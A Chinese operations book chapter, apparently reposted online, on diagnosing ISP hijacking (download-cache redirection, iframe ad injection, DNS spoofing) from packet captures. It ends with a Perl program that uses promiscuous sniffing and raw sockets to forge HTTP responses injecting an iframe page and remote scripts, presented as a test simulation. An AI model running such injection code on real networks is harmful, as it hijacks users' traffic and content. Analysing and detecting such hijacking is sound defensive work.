- 前言
- 读者对象
- 如何阅读本书
- 勘误和支持
- 致谢
- 第 1 篇 高性能网站构建
- 第 1 章 深入理解 DNS 原理与部署 BIND
- 第 2 章 全面解析 CDN 技术与实战
- 第 3 章 负载均衡和高可用技术
- 第 4 章 配置及调优 LVS
- 第 5 章 使用 HAProxy 实现 4 层和 7 层代理
- 第 6 章 实践 Nginx 的反向代理和负载均衡
- 第 7 章 部署商业负载均衡设备 NetScaler
- 第 8 章 配置高性能网站
- 第 9 章 优化 MySQL 数据库
- 第 2 篇 服务器安全和监控
- 第 10 章 构建企业级虚拟专用网络
- 第 11 章 实施 Linux 系统安全策略与入侵检测
- 第 12 章 实践 Zabbix 自定义模板技术
- 第 13 章 服务器硬件监控
- 第 3 篇 网络分析技术
- 第 14 章 使用 tcpdump 与 Wireshark 解决疑难问题
- 第 15 章 分析与解决运营商劫持问题
- 第 16 章 深度实践 iptables
- 第 4 篇 运维自动化和游戏运维
- 第 17 章 使用 Kickstart 完成批量系统安装
- 第 18 章 利用 Perl 编程实施高效运维
- 第 19 章 精通 Ansible 实现运维自动化
- 第 20 章 掌握端游运维的技术要点
- 第 21 章 精通手游运维的架构体系
最佳实践 79:深度分析运营商劫持的技术手段
中小运营商的网络现状
随着互联网的迅猛发展,P2P、语音及视频等流量不断增加,预计互联网流量将以每年 32%的速度增长,对网络带宽的需求不断增加。而带宽扩容费用非常昂贵,特别是对于中小运营商,每月要付大量的带宽租用费。
而一些运营商网络用户访问时延大、响应慢的问题依旧很难及时解决,用户体验越来越差;另外,内容资源分布不均衡,用户跨网络的内容访问也产生高额的网间结算费用。
如何能在减少带宽投资的情况下,保证用户的上网体验,对运营商来说是一个难题。特别是中小型运营商,在面对像电信、联通这样的对手时,他们在提供互联网业务时,需要支付给电信运营商的高额结算成本,大约占宽带收入的 40%以上。
运营商的劫持方法,总结起来主要有以下 2 类。
- 基于下载文件的缓存劫持。
- 基于页面的 iframe 广告嵌入劫持。
- 基于伪造 DNS 响应的劫持。
基于下载文件的缓存劫持
2012 年 11 月 6 日某游戏技术封测期间,部分玩家下载到老版本游戏客户端,导致无法正常进入游戏。用户给我们提供的截图如图 15-1 所示。
图 15-1 游戏玩家被引导到非法资源 IP
从用户给的截图中,我们分析出被引导的下载节点 101.44.1.12 为非我司服务器 IP 地址。进一步使用网络分析技术(文件:Gameclient.pcap)可以看到图 15-2 所示的信息。
图 15-2 异常下载的抓包分析
由图 15-2 可以看到,对于玩家的请求 frame 325,它收到了图中标号分别为和
的 2 个响应。
图中有 2 个地方是需要认真分析的。
- 在 HTTP 的模型中,请求和应答是成对出现的,即对应一个 HTTP 请求,只能有一个 HTTP 响应体。如能排除网络丢包(如拥塞控制、防火墙等)问题导致的重传,则一个 HTTP 请求引起 2 个 HTTP 响应的情况就是劫持。
- frame 327 的响应和 frame 325 的请求之间的时间差为 0.009911s,明显小于 frame 323 和 frame 323 之间的 0.017630s 的正常 RTT 值。这说明,frame 327 的响应很可能并非来自于这个数据包所标称的真实的服务器(真实服务器上此时可能还没有收到请求呢)。
从这 2 个初步分析来看存在异常,下面来看看是不是网络原因导致的重传呢?首先看看客户端的请求中是否有异常。如图 15-3 所示,浏览器请求正常。
图 15-3 浏览器正常请求
再来看看图 15-2 中标号为的 HTTP 响应内容,如图 15-4 所示。
图 15-4 非法劫持的响应
通过图 15-4 可以看到这个响应的 IP 层和 TCP 层没有任何异常,完全符合 TCP 协议中有关 IP 信息、TCP 端口信息、序列号(Sequence)、确认号(Acknowledgment number)的规定。但在 HTTP 响应内容中,只有简单的 3 个信息:状态码、Connection、新的 Location
。
再来看看图 15-2 中第二个 HTTP 响应的内容,如图 15-5 所示。
通过对比图 15-5 和图 15-4 可以知道,这并不是正常网络原因导致的重传,这 2 个响应的内容完全不同。真实服务器的响应头部信息中,是正常的完整的 HTTP 字段,也使用正确的 Location 引导用户到我们的服务器上。
图 15-5 真实服务器响应
通过以上的综合分析,可以看出,运营商劫持的方法是:使用旁路设备在近用户端通过分析 HTTP 请求,获取感兴趣的流量(一般以.zip,.rar,.exe,.patch,.mp3,.mp4,.flv 等文件下载、音视频为主),然后引导到自有服务器上。
这样做有以下的几个特点。
- 旁路设备部署方便,不需要改变现有网络结构。只需要在近用户端的路由器上部署端口镜像即可。
- 旁路设备不产生单点故障,故障时不会导致用户上网异常。如串联到网络中,则可能因劫持设备故障到而导致大面积用户无法上网而产生投诉。
- 外网流量内网化,分担出口带宽压力,节约带宽扩容费用。
- 支持移动应用缓存,将大量的移动应用下载到本地,对于现今移动应用流量快速增长的运营商网络来说,可以极大节省下载费用。
- 劫持功能可以随时关闭,以应对政策因素等。
这种劫持设备的物理部署节点可以包括如下几个。
- 部署在城域网,降低运营商网间结算流量。
- 部署在 WLAN 网络中心。
- 部署在小区宽带网络出口。
- 部署在集团客户网络出口,降低集团客户对网络出口带宽的需求。
这种劫持带来的问题是:如真实服务器上的文件发生变化,比如版本更新等,则被运营商劫持后可能导致用户下载到老的版本客户端。这恰好是引发本案例的因素。
那么运营商为什么进行劫持呢?
所谓“无利不起早”,运营商通过网络劫持,可以极大地节省互联网网间结算带来的巨大开支。
根据中华人民共和国工信部颁布的互联网交换中心网间结算办法( http://www.miit.gov.cn/n11293472/n11293832/n11294057/n11302390/11656117.html ),“第二章结算原则”“第四条中国电信集团公司、中国网络通信集团公司、中国教育和科研计算机网之外的互联单位,在与中国电信集团公司、中国网络通信集团公司进行互联网骨干网网间互联时,应依据网间数据通信速率,按照不高于本办法确定的标准(见附录),向中国电信集团公司、中国网络通信集团公司支付结算费用。非经营性互联单位结算费用标准减半。”和“附录:互联网交换中心结算标准结算费用(元/月)=1000(元/Mbps 月)×结算速率(Mbps)”可以看出,如通过劫持加运营商级别的缓存等技术,使得运营商间交换带宽减少,则可以明显节省运营商互联网网间间结算的费用。
基于页面的 iframe 广告嵌入劫持
在我们运维网站服务器的过程中,会时常看到用户反馈在我们页面上的第三方的广告,但实际上,在我们的 Web 站点上,并没有部署这样的代码。这是运营商在 Web 页面层次做的另一种劫持技术:基于页面的 iframe 广告嵌入劫持。和本最佳实践中提到的上一个劫持具有如下的区别。
- 目标不同。这种劫持是针对用户主动访问的 Web 网站页面,如财经类网站、电子商务网站等。基于下载文件的缓存劫持一般是针对软件、客户端、补丁和音视频等。
- 受益模式不同。这种劫持通过在网页中插入有针对性的广告,直接向广告主收取广告费用。基于下载文件的缓存劫持通过节省网间结算带宽来获取利益。
下面来看看基于页面的 iframe 广告嵌入劫持的技术特点。
基于页面的 iframe 广告嵌入劫持的数据流程如下。
1)用户浏览器和真实服务器经过 TCP 三次握手建立连接。
2)用户浏览器发送 HTTP 请求,例如请求 http://www.sdo.com/index.htm 。
3)近用户端的旁路劫持程序先于真实服务器发回 HTTP 响应。HTTP 响应中,使用全屏 iframe 原 URL、同时加入广告 js 代码。图 15-6 是一个实际的劫持案例中 HTTP 响应的内容。
图 15-6 劫持的 HTTP 响应内容
4)用户浏览器再次请求原 URL,同时请求广告 js 代码。此时,用户端显示的即是加了运营商广告的页面。
基于伪造 DNS 响应的劫持
伪造 DNS 响应的劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的 IP 地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。
DNS 请求,默认情况下使用 UDP 进行通信,并且在客户端和本地 DNS 之间没有任何的安全校验机制。DNS 的这种特点,就导致了它容易被运营商恶意利用。某种极端情况下,用户在访问 www.google.com 等知名网站时甚至被引导到运营商的合作伙伴网站。
在某些地区的用户在成功连接宽带后,首次打开任何页面都指向 ISP 提供的“电信互联星空”、“网通黄页广告”等内容页面。这些就属于 DNS 劫持。
基于伪造 DNS 响应的劫持,因其影响范围较大且容易被用户识别和投诉,运营商用这种方案的越来越少,在近年中发生的次数也呈下降趋势。
网卡混杂模式与 raw socket 技术
在本章中,我们看到基于下载文件的缓存劫持和基于页面的 iframe 广告嵌入劫持,都采用了旁路模式。这种模式情况下,通过端口镜像技术,把用户的访问流量复制一份引导到劫持服务器上,劫持服务器分析数据流后冒充真实服务器发送 HTTP 响应给用户,以达到劫持的效果。这里面涉及一个问题,劫持服务器上收到的数据帧的目的 MAC 地址并不是自己的地址,那么这个服务器怎么能够处理这些数据帧呢(默认网卡只接收和处理目的 MAC 地址为本机或者广播 MAC 地址的数据帧)?另外,这个服务器又是如何把伪造的数据帧发送到网络上的呢?
这其中涉及以下 2 个技术。
- 网卡混杂模式:使劫持程序服务器能够接收目的 MAC 地址非自己地址的数据帧的问题。
- raw socket(原始套接字)技术:使劫持程序服务器能够发送伪造的数据帧(这些数据帧的 IP 头部源地址是被伪造的真实服务器的 IP)。
为了对运营商劫持问题进行测试,使用如下程序来模拟基于页面的 iframe 广告嵌入劫持技术。使用到的源代码如下:
#!/usr/bin/perl use strict; use warnings; use Net::Pcap; use NetPacket::Ethernet; use NetPacket::IP; use NetPacket::TCP; use Socket; #使用该链接下载 Net::RawSock 模块 http://www.hsc.fr\ #/ressources/outils/rawsock/download/Net-RawSock-1.0.tar.gz use Net::RawSock; my $err; my $dev = $ARGV[0]; #定义需要抓取的网络端口 #定义返回给用户的劫持内容 my $html = "<HTML><HEAD><meta http-equiv='Content-Type' content='text/html; charset=utf-8'/><TITLE>test</TITLE><script type='text/javascript' src='http://xx.yy.zz.88/jquery-1.7.2.js'></script><script></script></HEAD><BODY><iframe name='topIframe' id='topIframe' src='' width='100%' height='100%' marginheight='0' marginwidth='0' frameborder='0' scrolling='no' ></iframe><script type='text/javascript' src='http://xx.yy.zz.88/iframe.js'></script> <script>var u1=window.location.toString();u2=window.location.toString();m=Math.random();ua= window.navigator.userAgent.toLowerCase();f=window.parent.frames['topIframe'];if(u1.indexOf('?')==-1) u1+='?'+m+'='+m;else u1+='&'+m+'='+m;f.location.href=u1;</script></BODY></HTML>"; #判断定义的网络端口存在 unless ( defined $dev ) { $dev = Net::Pcap::lookupdev( \$err ); if ( defined $err ) { die 'Unable to determine network device for monitoring - ', $err; } } #判断定义的网络端口属性 my ( $address, $netmask ); if ( Net::Pcap::lookupnet( $dev, \$address, \$netmask, \$err ) ) { die 'Unable to look up device information for ', $dev, ' - ', $err; } my $object; #在定义的端口上抓包 #抓的每个包最大为 65535 字节 #网卡置为混杂模式 $object = Net::Pcap::open_live( $dev, 65535, 1, 0, \$err ); unless ( defined $object ) { die 'Unable to create packet capture on device ', $dev, ' - ', $err; } my $filter; #定义初步的过滤规则,该规则为 tcpdump 格式 #过滤规则内容为:tcp 目的端口为 80,且 tcp 的数据长度为非 0 Net::Pcap::compile( $object, \$filter, '(tcp dst port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0))', 0, $netmask ) && die 'Unable to compile packet capture filter'; Net::Pcap::setfilter( $object, $filter ) && die 'Unable to set packet capture filter'; #设置抓包的回调函数,并初始化抓包循环 Net::Pcap::loop( $object, -1, \&process_packets, '' ) || die 'Unable to perform packet capture'; Net::Pcap::close($object); #每个包处理逻辑 sub process_packets { my ( $user_data, $header, $packet ) = @_; #从获取的原始套接字(raw socket)数据帧中去掉 Ethernet 头部,获得 Ethernet 数据 my $ether_data = NetPacket::Ethernet::strip($packet); #解析 tcp/ip 数据 my $ip_in = NetPacket::IP->decode($ether_data); my $tcp_in = NetPacket::TCP->decode( $ip->{'data'} ); #对 tcp 数据进行匹配,我们感兴趣的是用户的 HTTP 请求 if ( $tcp_in->{'data'} =~ m /GET \/ HTTP/ ) { #匹配到之后,组装 raw socket 需要的 ip 头部、tcp 头部和 tcp 数据 #创建 ip my $ip_out = NetPacket::IP->decode(''); #初始化 ip $ip_out->{ver} = 4; $ip_out->{hlen} = 5; $ip_out->{tos} = 0; $ip_out->{id} = 0x1d1d; $ip_out->{ttl} = 0x5a; $ip_out->{src_ip} = $ip->{'dest_ip'}; $ip_out->{dest_ip} = $ip->{'src_ip'}; $ip_out->{flags} = 2; #创建 tcp my $tcp_out = NetPacket::TCP->decode(''); my $htmllength = length($html); #初始化 tcp $tcp_out->{hlen} = 5; $tcp_out->{winsize} = 0x8e30; $tcp_out->{src_port} = $tcp->{'dest_port'}; $tcp_out->{dest_port} = $tcp->{'src_port'}; $tcp_out->{seqnum} = $tcp->{'acknum'}; $tcp_out->{acknum} = $tcp->{'seqnum'} + ( $ip->{'len'} - ( $ip->{'hlen'} + $tcp->{'hlen'} ) * 4 ); $tcp_out->{flags} = ACK | PSH | FIN; $tcp_out->{data} = "HTTP/1.1 200 OK\r\n" . "Content-Length: $htmllength" . "\r\nConnection: close\r\nContent-Type:text/html;charset=utf-8\r\n\r\n" . "$html"; #组装 ip 包 $ip_out->{proto} = 6; $ip_out->{data} = $tcp_out->encode($ip_out); my $pkt = $ip_out->encode; #提交给 RawSock,增加 Ethernet 头部后发送到网路上 Net::RawSock::write_ip($pkt); } }
通过以上程序,可以看到,使用网卡的混杂模式,与 raw socket 技术结合,可以构造任何 TCP/IP 数据。在业务运维中,使用 raw socket 技术,还可以实现自定义的网络数据采样和安全监控等功能。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论